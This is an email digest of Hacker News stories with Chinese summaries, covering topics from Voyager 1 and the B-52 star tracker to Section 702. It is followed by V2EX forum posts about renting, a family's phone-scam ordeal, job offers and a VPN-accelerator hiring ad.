[2026-04-19] Anonymous request-token comparisons from Opus 4.6 and Opus 4.7

1 view
Skip to first unread message

HNews Digest

unread,
Apr 19, 2026, 10:54:11 PM (13 days ago) Apr 19
to mo-...@googlegroups.com
 
This post is also available on the web as a GitHub issue.

Hacker News

Anonymous request-token comparisons from Opus 4.6 and Opus 4.7

社群平均值总结

该项目旨在通过匿名请求-令牌比较,展示 Opus 4.6 和 Opus 4.7 在实际输入上的差异。

主要特点:

  • 匿名数据: 存储的行仅包含匿名提交 ID,保护用户隐私。
  • 社群驱动: 数据来源于社群的匿名提交。
  • 比较分析: 旨在比较 Opus 4.6 和 Opus 4.7 在处理相同输入时的表现。
  • 非官方: 该项目与 Anthropic 及其产品无关,未获得其认可或支持。
  • 交互式: 提供“提交提示”功能,允许用户参与数据收集。

项目目的:

通过收集和分析社群提交的匿名请求-令牌,量化并展示 Opus 4.6 和 Opus 4.7 在实际应用场景中的性能差异。

项目来源:

billchambers.me

tokens.billchambers.me | 450 points by anabranch at 00:05:43 | 462 comments


The electromechanical angle computer inside the B-52 bomber's star tracker

飞机在没有GPS的情况下如何导航?

在GPS问世之前,飞机主要依赖天体导航来确定位置。天体导航利用星星、行星或太阳的位置来进行导航。虽然这种方法精确且难以干扰,且不需要外部广播基础设施,但手动操作耗时且复杂。

角度计算机:早期自动化的解决方案

20世纪60年代初,为了解决这个问题,美国为B-52轰炸机开发了一种自动系统,该系统能够自动跟踪星星并计算导航信息。由于当时数字计算机尚未成熟,该系统采用了一种名为角度计算机的机电模拟计算机进行三角函数计算。

角度计算机的结构和功能

角度计算机并非传统意义上的陀螺仪或惯性测量单元(IMU),而是一种复杂的机电系统。它通过内部的复杂机构,模拟“天球”,通过指针来表示星星的位置。通过读取电信号(通过称为同步器的设备),角度计算机可以获得方位角和仰角的角度信息,从而为导航系统提供数据。

Astro Compass系统

角度计算机是Astro Compass系统的一部分,该系统能够锁定一颗星星并生成高精度的方向(即罗盘方向),精确到十分之一度。Astro Compass系统围绕“Astro Tracker”构建,后者是一种光学系统,用于跟踪星星。Astro Tracker安装在飞机顶部,配备一个4英寸玻璃穹顶。它包含一个跟踪望远镜,利用光电倍增管检测星星的光芒。一个陀螺仪和复杂的电机系统提供了一个“稳定平台”,即使飞机倾斜和移动,也能保持望远镜的精确垂直。一个棱镜会旋转和倾斜,以将望远镜对准特定的星星。

Astro Compass系统的组件

Astro Compass系统由19个组件组成,其中包括10个放大器和计算机组件,以及9个控制和指示面板,供B-52的导航员使用。

控制Astro Compass

Astro Compass的控制面板允许用户通过旋转旋钮逐个输入数据。首先,通过主控制面板选择数据值,如时钟时间、星 #1 的星体时角 (SHA) 或星 #3 的赤经。然后旋转“设置控制”旋钮,直到达到正确的值。每个旋钮都有不同的几何形状,方便用户通过触摸来区分。

数据输入和Air Almanac

导航员需要从Air Almanac(航海年历)中获取星体位置信息,Air Almanac是美国政府出版的,每四个月发行一本新卷。年历包含每天的一页,提供太阳、重要值(如第一天体点 Aries)、可见行星和月球的位置数据。另外,还有单独的表格和图表提供星星的位置信息。

导航三角形:计算星星的位置

Air Almanac以全球坐标系统提供星星的坐标,而Astro Compass需要知道星星在飞机当地坐标系统中的坐标。这需要通过使用球面三角学和“导航三角形”来改变坐标系统。

角度计算机的工作原理

角度计算机通过物理模型来解决导航三角形。它的输入包括星星的赤经和当地时角,从而计算出星星的仰角和方位角。它利用一个半球,半径为 2 5/8 英寸,星星指针在球体表面被机械定位。通过滑动机构,将星星的位置转化为仰角和方位角。

线路定位

Astro Compass 还可以用来确定飞机的位置,利用“线路定位”技术。如果从某个星星仰视角度为 90 度,说明该星星正位于飞机的正上方。如果飞机移动一定距离,仰视角度会发生变化。通过测量不同位置的仰视角度,可以绘制出一条线路,飞机位于该线路的某处。利用多个星星,可以绘制出多条线路,交点即为飞机的可能位置。

结论

角度计算机是机械模拟计算机的代表,在数字计算机尚未成熟时,它为解决导航问题提供了有效的解决方案。它结合了物理机构、电气电路、真空管和固态电子器件,最终被数字计算机所取代。

总而言之,B-52轰炸机中的Astro Compass系统代表了早期自动导航技术的复杂性和创新性,它结合了机械工程、光学和电子技术的精妙结合,为在没有GPS的情况下进行精确导航提供了可能。

righto.com | 291 points by NelsonMinar at 00:26:47 | 84 comments


Traders placed over $1B in perfectly timed bets on the Iran war

美国伊朗冲突相关预测市场交易引发担忧:摘要

近期,美国与伊朗冲突相关的预测市场交易活动异常活跃,引发了监管机构和专家的关注。这些交易涉及大量资金,并且准确预测了多起重大事件的发生时间,例如美国对伊朗的空袭、伊朗最高领袖哈梅内伊的遇刺以及美伊之间达成停火协议等,为交易者带来了巨额利润。

主要事件及交易情况:

  • 2月27日: 在美国和以色列对伊朗实施空袭前,约150个账户在Polymarket平台上进行了大量投注,总额超过85.5万美元,其中16个账户每人获利超过10万美元。
  • 哈梅内伊遇刺: 一名匿名用户“Magamyman”在哈梅内伊被以色列空袭前,成功预测并投注,获得了超过55.3万美元的收益。 此外,有6名被指控为“内部消息人士”在Polymarket上共获利120万美元。
  • 4月7日: 在特朗普宣布美伊达成停火协议前,至少50个Polymarket账户进行了大量投注。
  • 石油期货市场: 在特朗普发表有关伊朗局势的言论前后,石油期货市场也出现了异常交易活动,交易额分别达到5.8亿美元和9.5亿美元,交易者因油价下跌而获利。

监管机构的反应和挑战:

  • 美国联邦商品期货交易委员会 (CFTC) 已启动对这些异常交易的调查,但由于委员会目前只有一位委员,监管能力受到限制。
  • 一些州也采取行动,例如内华达州禁止了预测市场公司Kalshi的运营,亚利桑那州则对该公司提起了刑事指控。
  • 监管机构面临的挑战在于,这些交易通常通过区块链等匿名方式进行,难以追踪交易者的身份和信息来源。
  • 专家指出,目前关于商品期货内部交易的法律尚不完善,使得监管更加困难。

潜在的风险和法律问题:

  • 这些交易可能涉及利用非公开信息进行非法获利,损害了市场公平性和公众对政府的信任。
  • 政府官员利用内幕信息进行交易是违法的,美国国会正在考虑立法,禁止国会议员和联邦政府高级官员参与与政治事件和政策决策相关的预测市场交易。
  • 预测市场交易的监管存在法律灰色地带,使得监管机构难以有效执行。

总结:

美国与伊朗冲突相关的预测市场交易活动引发了对潜在内部交易和市场操纵的担忧。 监管机构正在努力应对这些新出现的挑战,但仍面临法律、技术和组织上的诸多障碍。 此次事件凸显了在快速发展的预测市场领域,对监管框架进行完善和加强的必要性。


中文总结:

近期,围绕美国-伊朗冲突的预测市场交易活动异常活跃,多笔交易准确预测了关键事件时间,为交易者带来巨额利润。这引发了监管机构对潜在内部交易的担忧。美国商品期货交易委员会(CFTC)已展开调查,但监管面临诸多挑战,包括匿名交易、法律不完善以及监管机构自身能力有限。政府官员利用内幕信息进行交易属于违法行为,美国国会正在考虑相关立法。此次事件凸显了对预测市场进行有效监管的必要性,以维护市场公平和公众信任。

theguardian.com | 271 points by trocado at 02:36:07 | 187 comments


Thoughts and feelings around Claude Design

Claude Design 和设计工具的未来:总结

这篇文章探讨了设计工具的未来趋势,并对 Figma 的当前地位和竞争格局提出了理论。以下是主要观点:

1. Figma 的困境:

  • Figma 早期通过建立自身作为“真实现状”的地位而取得成功,但这种成功伴随着代价。
  • 其封闭、难以编程的格式,使其在训练大型语言模型(LLM)时被排除在外。
  • 随着代码变得更容易被设计师使用,且 LLM 持续进步,设计工作流程的“真实现状”将自然回归代码。
  • Figma 的复杂系统(例如大量的颜色变量、组件变体和效果样式,如文中展示的截图)因其过度设计和缺乏清晰度而变得难以维护和调试。作者通过展示 Figma 自身的设计系统文件,突出了其复杂性。
  • 将代码中的设计更改回传到 Figma 的过程耗时且令人沮丧。

2. 设计工具的分化:

  • 作者认为设计工具将分化为两种类型:
    • Claude Design 模式: 遵循“材料的真实性”原则,以 HTML 和 JavaScript 为基础,并与 Claude Code 无缝集成,实现设计与代码之间的直接反馈循环。
    • 纯探索环境: 允许设计师自由地进行实验,不受系统或提示规范的约束,专注于视觉探索,例如 iPad 上的草图应用或功能强大的图像合成工具。

3. Figma 的未来:

  • Figma 可能会面临类似 Sketch 在 Figma 出现之前的境地,即被新的工具所取代。
  • Figma Make 仍然依赖于 Figma 的设计文件作为核心,这在作者看来,是一种落后的做法。

4. 对 Sketch 的建议:

  • 作者鼓励 Sketch 团队采取积极行动,增加更多高级功能,例如粒子效果、压印效果、网格变换和金属着色器,摆脱其仅仅依靠 macOS 原生优势的现状。

5. 其他要点:

  • 作者提到 Jonny Burch 的博文 "Life after Figma is coming (and it will be glorious)" 也表达了类似的观点。
  • 文章最后以幽默的方式对 Figma、Sketch 和作者的母亲表达了看法。

总而言之,文章预测了设计工具领域将发生重大转变,Figma 的主导地位可能会受到挑战,而以代码为基础的工具和纯探索环境将成为未来的趋势。

samhenri.gold | 254 points by cdrnsf at 03:19:24 | 167 comments


NIST scientists create 'any wavelength' lasers

美国国家标准与技术研究院(NIST)研发新型光子芯片,推动量子技术发展

摘要: 美国国家标准与技术研究院(NIST)的科学家及其合作者在光子芯片领域取得了重要突破,开发了一种将复杂图案的特殊材料沉积在硅晶圆上,制造集成电路的方法。这些光子芯片利用激光器、波导、滤波器和开关等光学器件来控制和处理光,有望促进人工智能、量子计算机和光学原子钟等新兴技术的发展。

核心内容:

  • 光子芯片的优势: 与电子电路相比,光子电路具有信息传输和处理速度更快、效率更高的优势。光子(光粒子)比电子更快速地在电路中传输,并且激光光对于控制新兴的量子技术至关重要。
  • 现有挑战: 现有的激光器通常体积大、成本高、耗电量大,且仅提供少数几种颜色的激光,限制了量子技术的应用。
  • NIST的创新: NIST科学家开发了一种多层结构的光子芯片,类似于“层蛋糕”。该芯片结合了以下关键材料和技术:
    • 硅晶圆: 作为基础材料。
    • 二氧化硅(玻璃)和氮化锂: 氮化锂是一种非线性材料,可以改变光线的颜色。
    • 金属: 用于电控电路,转换不同颜色的光。
    • 钽五氧化物(tantala): 一种非线性材料,可以将单一激光颜色转换为可见光和红外光谱的多种颜色。NIST团队开发了在不加热材料的情况下将钽五氧化物沉积在其他材料上的技术。
  • 芯片结构: 通过将不同材料在三维空间中堆叠,研究人员制造出一种能够高效地在层之间路由光线的芯片。这种技术允许将钽五氧化物的“魔法”光线操控与氮化锂的可控性相结合。
  • 集成密度: 在一个啤酒杯盖大小的晶圆上,成功集成大约 50 个芯片,每个芯片包含 1 万个光子电路,每个电路输出不同颜色的光。
  • 潜在应用:
    • 量子技术: 为量子计算机和光学原子钟提供定制激光,解决现有激光器体积大、成本高等问题。光学原子钟可以帮助预测火山爆发和地震,提供定位和导航的替代方案,并帮助科学家研究暗物质等科学谜团。
    • 人工智能: 提高人工智能工具的效率和性能。
    • 虚拟现实: 改善虚拟现实显示效果。
  • 未来展望: 虽然NIST的芯片尚未实现大规模生产,但该技术为未来的发展提供了方向。NIST科学家与Octave Photonics公司合作,正在努力扩大该技术的规模。

总结: NIST的这项研究为光子芯片的开发提供了重要突破,有望推动量子技术、人工智能等领域的快速发展,并为未来的科技应用带来巨大潜力。

nist.gov | 207 points by rbanffy at 04:54:17 | 86 comments


NASA Shuts Off Instrument on Voyager 1 to Keep Spacecraft Operating

NASA 关闭旅行者 1 号上的仪器以延长其运行时间

以下是对 NASA 文章的总结:

主要内容:

由于电力日益减少,NASA 的喷气推进实验室 (JPL) 的工程师们于 4 月 17 日向旅行者 1 号飞船发送了指令,关闭了名为低能带电粒子实验 (LECP) 的仪器。这是为了尽可能延长人类首个星际探测器旅行者 1 号的运行时间。

详细信息:

  • LECP 仪器: 该仪器自 1977 年发射以来,几乎一直运行,持续近 49 年。它测量太阳系和银河系中低能带电粒子,包括离子、电子和宇宙射线。LECP 提供了关于星际介质结构的关键数据,能够探测到压力正面和不同粒子密度区域。
  • 能源问题: 旅行者 1 号和 2 号飞船都依靠放射性同位素热电发电机 (RTG) 供电,这种装置将钚衰变产生的热量转化为电能。这两艘探测器每年损失约 4 瓦的电力。
  • 电力危机: 2 月 27 日的一次计划中的姿态调整过程中,旅行者 1 号的电力水平意外下降。工程师担心进一步的电力下降会触发飞船自身的欠压保护系统,自动关闭组件以保护飞船,需要飞行团队进行恢复——这是一个漫长且具有风险的过程。
  • 关闭 LECP 的决定: 在预先制定的计划中,LECP 是接下来要关闭的仪器。此前,旅行者 2 号于 2025 年 3 月关闭了 LECP。
  • 通信延迟: 由于旅行者 1 号距离地球超过 150 亿英里(250 亿公里),指令到达飞船并完成关闭过程需要大约 23 小时和 3 小时 15 分钟。为了保留潜在的重新启动可能性,LECP 的一个小型传感器旋转电机将继续运行,仅消耗 0.5 瓦的电力。
  • 未来计划: 关闭 LECP 预计将为旅行者 1 号提供大约一年的喘息空间。工程师们正在利用这段时间完成一项名为“大爆炸”的更具雄心的节能修复方案,旨在进一步延长旅行者飞船的运行时间。该方案将首先在旅行者 2 号上实施,然后可能在 2026 年 7 月尝试在旅行者 1 号上实施。如果成功,LECP 有望重新启动。
  • 剩余仪器: 关闭 LECP 后,旅行者 1 号仍有两台科学仪器处于运行状态:一台监听等离子体波,一台测量磁场。

总结:

为了应对电力不足的问题,NASA 关闭了旅行者 1 号上的 LECP 仪器。这一决定是根据多年来制定的计划执行的,旨在延长飞船的运行时间,并利用“大爆炸”项目进一步节省能源,并为未来可能的仪器重新启动做好准备。旅行者 1 号仍然是人类探索未知太空的关键工具。

science.nasa.gov | 199 points by sohkamyung at 07:47:45 | 87 comments


College instructor turns to typewriters to curb AI-written work

康奈尔大学教授利用打字机教学,旨在培养学生独立思考能力 (Kāngnài'ěr Dàxué Jiàoshòu Lìyòng Dǎzìjī Jiàoxué, Zhǐzài Péiyǎng Xuésheng Dúlì Sīkǎo Nénglì) - Cornell University Professor Uses Typewriters for Teaching, Aiming to Cultivate Students' Independent Thinking Abilities

核心内容 (Héxīn Nèiróng - Core Content):

康奈尔大学的德语语言教授 Grit Matthias Phelps 正在利用老式打字机进行教学,以应对学生过度依赖人工智能和在线翻译工具完成作业的问题。自 2023 年春季开始,她每学期都会为学生提供一次使用打字机的机会,让他们体验在没有屏幕、在线词典、拼写检查器和删除键的情况下写作的过程。

背景 (Bèijǐng - Background):

Phelps 教授观察到学生们越来越多地使用人工智能和在线翻译工具完成作业,导致作业缺乏原创性和深度。她希望通过这种方式,让学生们了解在数字时代之前,写作、思考和课堂学习是什么样的。

实施方式 (Shíshī Fāngshì - Implementation):

Phelps 教授在二手商店和在线市场购买了数十台老式手动打字机,并在教学大纲中设置了“模拟”作业。学生们在课堂上发现座位上摆放着打字机,有些配备了德语键盘,有些则配备了 QWERTY 键盘。教授会演示如何手动进纸、用力敲击按键,以及如何通过听铃声判断换行。

学生反馈 (Xuéshēng Fǎnkuì - Student Feedback):

  • 初学者困惑 (Chūxuézhě Kùnhuò - Beginner Confusion): 新生 Catherine Mong 最初对打字机的使用感到困惑,因为她从未真正使用过。
  • 减缓节奏,专注思考 (Jiǎn Huǎn Jiézòu, Zhuānzhù Sīkǎo - Slowing Down the Pace, Focusing on Thinking): Ratchaphon Lertdamrongwong 认为使用打字机让一切都慢了下来,迫使他独立思考问题,而不是依赖人工智能或搜索引擎。
  • 减少干扰,促进社交 (Jiǎnshǎo Gānrǎo, Cùjìn Shèjiāo - Reducing Distractions, Promoting Social Interaction): 没有屏幕和通知,学生们更能专注于写作,并主动与同学交流求助,这与现代课堂中普遍使用的电脑和手机形成鲜明对比。
  • 拥抱错误,享受过程 (Yōngbào Cuòwù, Xiǎngshòu Guòchéng - Embracing Mistakes, Enjoying the Process): 新生 Mong 虽然对打字机作业的“不完美”感到沮丧,但最终她学会了拥抱错误,并创造性地利用打字机的特殊性来表达自己的想法。她甚至打算将作业保存起来。

影响 (Yǐngxiǎng - Impact):

这种教学方式不仅教授了打字机的使用方法,更重要的是培养了学生的独立思考能力,减少了对科技的依赖,并促进了人际互动。虽然打字机是否会迎来复兴尚不确定,但康奈尔大学的做法也反映出全国范围内对传统考试方法(如纸笔考试和口试)的趋势,以防止人工智能在作业中的滥用。

声明 (Shēngmíng - Disclaimer):

本文仅基于提供的文本内容进行总结,不包含任何个人观点或信息。 Associated Press 的教育报道由多个私人基金会提供财政支持。AP 负责所有内容,其与慈善机构合作的标准、支持者名单和资助报道领域请访问 AP.org。

sentinelcolorado.com | 171 points by gnabgib at 03:00:00 | 169 comments


PgQue: Zero-Bloat Postgres Queue

PgQue – PgQ 通用版

零膨胀的 Postgres 队列。只需一个 SQL 文件即可安装,使用 pg_cron 定时执行。

CI PostgreSQL 14-18 License pg_cron Anti-Extension [![Discussion on Hacker News](https://camo.githubusercontent.com/62c97b1a65c298b70b665299cb454ffef7b

github.com | 130 points by gmcabrita at 00:50:46 | 33 comments


Optimizing Ruby Path Methods

优化 Intercom 单体 CI 的设置时间:Bootsnap 与路径操作优化

在去年 11 月加入 Intercom 之后,我参与了一个项目,旨在优化 Intercom 单体 CI 的性能。尽管 CI 是我比较擅长的领域,但之前没有在这方面写过博客。本文主要讲述的是如何通过优化 Ruby 进程启动时间来提升 CI 的性能。

CI 并行测试的挑战

并行运行测试套件是应对大型测试套件的必要手段。例如,一个运行 1 小时测试套件,使用 4 个 worker 可以缩短到 15 分钟,使用 60 个 worker 甚至可以缩短到 1 分钟。然而,实际情况并非如此理想。CI 测试运行包含设置阶段(获取代码、准备数据库等)和测试运行阶段。设置阶段耗时越长,并行测试的收益就越小。

Intercom 单体 CI 默认使用 1350 个并行 worker,因此,减少设置时间哪怕 1 毫秒,就能带来 1350 倍的收益,节省 20 多分钟的计算时间。

Bootsnap:加速 Ruby 进程启动

为了减少设置时间,我重点关注了应用启动时间。Ruby 中 require 操作的性能是一个瓶颈。每次 require 都需要在 $LOAD_PATH 中进行线性搜索,随着 gems 数量的增加,搜索成本呈 O(N*M) 增长,严重影响启动速度。

Bootsnap 旨在解决这个问题。它通过预扫描 $LOAD_PATH,构建一个包含所有可 require 文件的哈希表缓存,将 Kernel.require 装饰,从而将路径查找从线性搜索优化为 O(1) 的哈希查找。

Bootsnap 的实现细节

  • Load Path 缓存: Bootsnap 的核心是构建一个哈希表缓存,键为文件路径,值为绝对路径。
  • 缓存失效: Bootsnap 记录了扫描目录的修改时间 (mtime),当目录内容发生变化时,会触发缓存失效。CI 环境中 Git 不会更新 mtime,因此需要重建缓存。
  • N+1 Syscalls: Bootsnap 扫描目录时,需要调用 File.directory?,导致 N+1 次系统调用。为了优化,我利用了 Linux 和 BSD 系统提供的 d_type 机制,避免不必要的系统调用。
  • Dir.scan 特性: 基于此,我提出了一个新特性 Dir.scan,在 Ruby 4.1 中得到实现,进一步加速了扫描过程。

路径操作的优化

除了 Bootsnap,我还对其他路径操作方法进行了优化:

  • File.join: 优化了 File.join 的实现,避免了不必要的编码处理,并使用尾部搜索来查找重复的分隔符,性能提升了 7 倍。
  • File.basename, File.dirname, File.extname, File.expand_path: 对这些方法也进行了类似的优化,提升了整体性能。

总结

通过优化 Bootsnap 和其他路径操作方法,成功地减少了 Intercom 单体 CI 的设置时间,提升了用户体验并降低了计算成本。关键在于关注细微的性能瓶颈,并持续优化代码,即使是微小的改进,在大型系统中也能产生显著的效果。

byroot.github.io | 112 points by weaksauce at 04:42:29 | 40 comments


Keep Pushing: We Get 10 More Days to Reform Section 702

关于美国702监控项目的改革呼吁:总结

本文主要讲述了美国国会议员为争取对702监控项目进行改革而进行的努力,以及目前情况。以下是主要内容:

1. 702项目概述:

  • 702是美国国家安全局(NSA)进行大规模监控的项目,目标是海外的通讯,包括与海外目标进行通讯的美国公民的通讯。
  • NSA将收集到的通讯数据存储在大型数据库中,并允许联邦调查局(FBI)等其他机构访问。
  • FBI 采取“先找到再占有”的态度,认为既然数据已经根据702法案收集,他们就可以随意查看,即使这些数据包含美国公民的通讯内容。
  • 目前,FBI 可以在没有搜查令的情况下查询和阅读与美国公民相关的通讯数据。
  • 受监控的美国公民通常不知道自己被监控,且很难发现自己被监控的事实。

2. 改革呼吁与行动:

  • 为了争取对702项目的改革,包括要求FBI访问信息必须获得实际的搜查令,一组两党议员进行了努力。
  • 一项未能改善现状并计划将702法案再授权五年的修正案被否决,这表明了对真正改革的呼声。
  • 目前,国会已经获得了10天的延期,以便继续推动真正的改革法案。
  • EFF(电子前沿基金会)和其他公民自由倡导者已多年来一直在努力,以了解702法案收集的数据何时被用于起诉个人。

3. 关键问题与担忧:

  • 参议员罗恩·韦登(Ron Wyden)透露了关于702法案的“秘密解读”,这使得政府能够对美国公民进行监控。
  • 韦登还发表了“致同事的信”,表达了对FBI滥用702法案的担忧。
  • 韦登强调,监控方式过于秘密且缺乏问责制,甚至法律的解读也属于机密。
  • 他指出,受监控的人可能包括记者、海外援助工作者、有海外亲属的人,甚至是试图从海外获取堕胎药物的女性,这些都是守法且拥有敏感对话的美国公民。

4. 总结与行动号召:

  • 文章呼吁国会进行真正的702项目改革,而不是简单地再授权或做表面文章。
  • 目前,EFF正在鼓励公众向国会施压,要求对702项目进行改革。(Take action

总而言之,文章强调了702项目对美国公民隐私的潜在威胁,并呼吁国会采取行动,对该项目进行改革,以保护公民的权利。

eff.org | 110 points by nobody9999 at 15:05:17 | 21 comments


Dad brains: How fatherhood rewires the male mind

父亲的生物学转变:迎接新生命的生理与心理准备 (The Biological Transformation of Fathers: Physiological and Psychological Preparation for New Life)

本文探讨了男性在迎接新生儿之前和之后经历的显著生理和心理变化,以及这些变化对育儿和孩子福祉的影响。

核心观点:

  • 父亲的生物学准备: 与传统观念不同,研究表明男性并非不具备养育孩子的生物学基础,而是处于一种“休眠”状态,等待触发。
  • 激素水平变化:
    • 睾酮降低: 研究表明,成为父亲后,男性的睾酮水平会显著降低,且与育儿参与度越高,降低幅度越大。
    • 催产素升高: 父亲在与婴儿互动时,催产素水平也会升高,这与母亲的催产素变化相似,有助于建立情感连接。
    • 其他激素变化: 血管加压素 (Vasopressin) 在孕期会降低,泌乳激素 (Prolactin) 则与父亲对孩子的依恋程度有关。
  • 大脑结构变化: 研究发现,新手父亲的大脑会发生变化,类似于青春期的大脑发展,表明其适应了新的育儿角色。
  • 生物学基础与育儿行为: 这些激素和大脑的变化与父亲更积极地参与育儿行为相关联,例如更频繁的互动、共同睡眠等。
  • 社会政策影响: 了解父亲的生物学转变,有助于制定更合理的社会政策,例如改善产假制度,鼓励男性参与孕期准备,从而促进家庭健康和孩子发展。

研究发现及关键人物:

  • Sarah Blaffer Hrdy: 通过其著作《时间之父》(Father Time) 提出男性具有养育孩子的生物学基础。
  • Lee Gettler: 通过对菲律宾男性长期的研究,证实了成为父亲后,男性睾酮水平会降低,且与育儿参与度相关。
  • James K. Rilling: 通过对孕期父亲的研究,发现他们早在孕四个月时,睾酮和血管加压素水平就已降低。
  • Darby Saxbe: 通过对大脑扫描研究,发现新手父亲的大脑会发生变化,与母亲的大脑变化类似。
  • Ruth Feldman: 通过对直和同性伴侣的研究,证实了父亲参与育儿时大脑活动模式的变化。

总结:

研究表明,父亲在迎接孩子时,身体和大脑都会经历显著的生物学转变,这并非文化习得,而是源于深层的生物学机制。 了解这些变化,有助于我们更好地理解父亲的角色,并为建立健康、和谐的家庭提供科学依据。

bbc.com | 107 points by tchalla at 06:24:47 | 60 comments


V2EX


我感觉自己好像被困住了。似乎我经常陷入这种困境, 而这种困境更像是我给自己的限制太多

举个例子,我最近准备租房子,花了很多时间,看了 20 多套房子, 终于找到一套满意的房子。但是因为是新房,我担心甲醛的问题,所以请了有 cma 检测资质的人检测。 检测的时间是 4 月, 春天的时候, 温度 22 度左右, 密闭门窗时间还特意延长到 24 小时,尽管没有把所有的柜子门和抽屉打开。在检测报告出来之前我告诉自己,如果检测结果达标,我就放心,因为我密闭时间是超过标准要求的时间的,即使是刚刚合格, 比如 0.08 , 我都接受。

但是,检测结果是 0.086 。我本来觉得只超了 0.006 ,可以忽略不计, 但是接着我又考虑到即将到来的夏天, 温度会升高,我查了一些资料显示,高温高湿会让甲醛加速释放, 很有可能到夏天的时候, 室内甲醛的浓度,会达到 0.2 以上。于是我又陷入了困境。租得话, 我担心夏天高温导致的更高的风险;因为这个不租的话, 我又不甘心,不死心。

以上例子中的困境,我感觉在我的人生中经常出现。有点心累, 是不是我的认知模式有啥问题?

99 comments by wenJoy at 10:32:46 in 生活


中转站新站开业 送 5 刀

https://www.aitoke.top/ 注册留用户名送 5 刀

65 comments by 2890875088 at 12:23:30 in 推广


人在无奈的时候真的会笑 今年 36 了,当然也是被公司优化了,从去年年底就在投简历面试和准备考试了,昨天上午参加的事业编的考试,在回家的过程中,我姐给我发消息,说是我妈半个月前在蒜厂打工的时候,帮着扶装蒜的那种小推车的时候,被小推车的把手打到前胸,肋骨骨折了几根,还伤到肺部,现在肺部还在水肿,因为我一直在备考没有告诉我,今天告诉我,让我回去照顾一段时间。
有时候父母的倔强是理解不了的,因为我妈年龄大了,所以从两三年前就劝她不要去蒜厂干活了,她从来不听劝,每次都是敷衍了事,都是早上 5 点起床去蒜厂干到傍晚 6 点,一天 25-40 块钱,蒜厂不管饭还得自己带饭去。受伤了蒜厂老板是不管的,更不要想老板给出医药费,一整个冬天能赚两千块,都不够去医院看病的。前年冬天瞒着我们去蒜厂干了一冬天给自己累的心脏不舒服,躺着动不了,我回家送她去医院检查加住院花了八千多,有时候真是又心疼又无奈。我真的希望父母能健健康康、没病没灾的安稳生活,也许这一切都是我这个儿子无能造就的,没有功成名就,没有赚到足够的钱让他们拥有足够安全感的老年生活。
并且昨天上午 11 点半考完试一出来就想着给我老婆打个电话说一下中午怎么吃饭,第一个电话没打通,发了消息也没回,回去的过程中因为我妈的事情心情不好,就随便在外面吃了点快餐。回家以后发现我老婆不在家,当时都快 2 点了也没回我消息,我又给她打了 3 个电话都是打不通,等到了下午快 4 点才给我回消息,说是 11 点多有个”警察“给她打电话,说她涉嫌洗钱,让她配合操作支付宝和银行账号,她乖乖的去配合”警察“了,”警察“让她不要接任何人的电话,她连我的电话都不接,”警察“让她把她卡里所有的钱都转到了她的一个工行的卡里,她都照做转进去了,最后让她打开手机银行开通什么支付,因为她平时不用手机银行,身份证也不在身边,最后她工行卡被银行冻结了,要不是银行给她打电话问情况,她都要回家拿身份证去营业厅解冻继续操作了。
呵呵呵呵呵呵呵呵哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈
真他妈的魔幻一天。
问她转过去多少钱,死活不说,让她把手机转账记录给我看,死活不给。到现在我都不知道她被诈骗了多少。跟我说银行把钱冻结了能找回来,我说:我信了。
如果真的有操纵一切的造物主,我真的想大声的告诉他:我见识到这个世界的厉害了,不用再给我加担子了,我一直都是服气的。

62 comments by nothingt at 19:52:24 in 生活


问问大家,这个工作能去吗

先说我的 bg: 双非二本, 今年 6 月份毕业, 软件工程专业, 无实习, 近几个月在学习 agent 开发相关知识;

今天去面试了本地一家公司(郑州), 面试结果还行, 就是感觉公司不太靠谱呢,

  1. 公司没有 HR, 老板自己就是 HR, 真正的 boss 直聘...
  2. 公司是做男性保健品的, 自己有工厂生产保健品, 然后有下级的经销商; 技术部门的主要职责就是开发给经销商用的软件系统, 包括前后端、智能体, 然后每月这方面收入的一部分会分给整个技术部门;
  3. 如果进去工作的话, 前后端、智能体都要会做,可能各个流程都要参与, 全栈~全干, 老板强调要会用 AI
  4. 老板不知道什么是三方协议;
  5. 说先让我实习两月, 每月工资 3k, kpi 1k, 补贴 8 百; 如果能力可以的话,等我毕业后转正, 基本工资大概七八千.
  6. 单双休, 每天早 10 晚 7

请各位前辈帮忙分析一下, 这工作靠谱吗, 总感觉做保健品不太靠谱啊!

61 comments by Bssn at 10:55:48 in 职场话题


你的 plus 还好吗? 三个号全噶了。
看样子屠杀开始了~

50 comments by liuyin at 13:07:04 in OpenAI


出海技术团队招聘(核心岗位|加速器方向)

统一待遇

底薪:5000 ~ 10000 元 / 月(能力强可谈) 利润分红:3% ~ 5%(核心成员可给期权) 海外补贴:1000 ~ 3000 元 / 月 休假福利:每季度 15 天带薪休假 + 往返机票 报销福利:饮食 + 住宿全额报销

项目属于出海业务 + 高执行节奏团队,偏结果导向

🧠 一、后端工程师( PHP 主+ Go 接口)

岗位职责:

使用 PHP 负责核心业务开发(用户、订单、代理体系等) 对接 Go 接口服务(高性能模块)

参与挂码系统、三级代理体系的设计与实现

优化系统性能、接口稳定性与并发能力

参与整体系统架构设计(含网络/加速相关模块)

任职要求: 精通 PHP ,有完整项目经验 能读懂并对接 Go 接口(有 Go 经验更优) 熟悉数据库( MySQL / Redis )

理解代理分销/三级代理逻辑(重点) 熟悉常见网络协议( HTTP / TCP / UDP ) 加分项: 有加速器 / 游戏相关项目经验 熟悉主流 VPN/隧道协议(如 OpenVPN 、Shadowsocks 、V2Ray 、WireGuard 等)

具备前端或运维能力(半全栈)

能接受出国

二、前端 / 半全栈工程师

岗位职责: 负责前端开发( Web / H5 / 混合 / 移动端) 主语言:Java (项目体系) 对接后端接口( Go / PHP ),实现完整业务逻辑

参与挂码系统、代理分销逻辑的前端实现

优化弱网环境体验(重点)

任职要求 熟悉主流前端框架( Vue / React / 原生 JS ) 熟悉接口联调、前后端分离开发

理解网络请求优化(延迟、丢包、弱网处理)

具备基础后端认知,能快速协同开发

强加分项: 熟悉主流 VPN/网络协议 有加速器 / 游戏类项目经验 有跨端经验( Web + App ) 能接受出国

三、iOS 工程师( Swift 原生 + 上架)

岗位职责:

使用 Swift 进行原生开发 负责 App 上架流程、版本管理、审核应对 参与马甲包开发(改壳、UI 替换、混淆处理)

配合前后端完成完整业务闭环

任职要求

熟悉 iOS 原生开发( Swift ) 熟悉 Apple App Store 上架机制 有上架 / 被拒 / 过审经验(必须) 熟悉混淆、包体处理

强加分项 熟悉安卓/iOS 多端框架 熟悉 VPN/网络机制 有加速器类项目经验

能接受出国

四、运维工程师(网络 / 线路方向)

岗位职责:

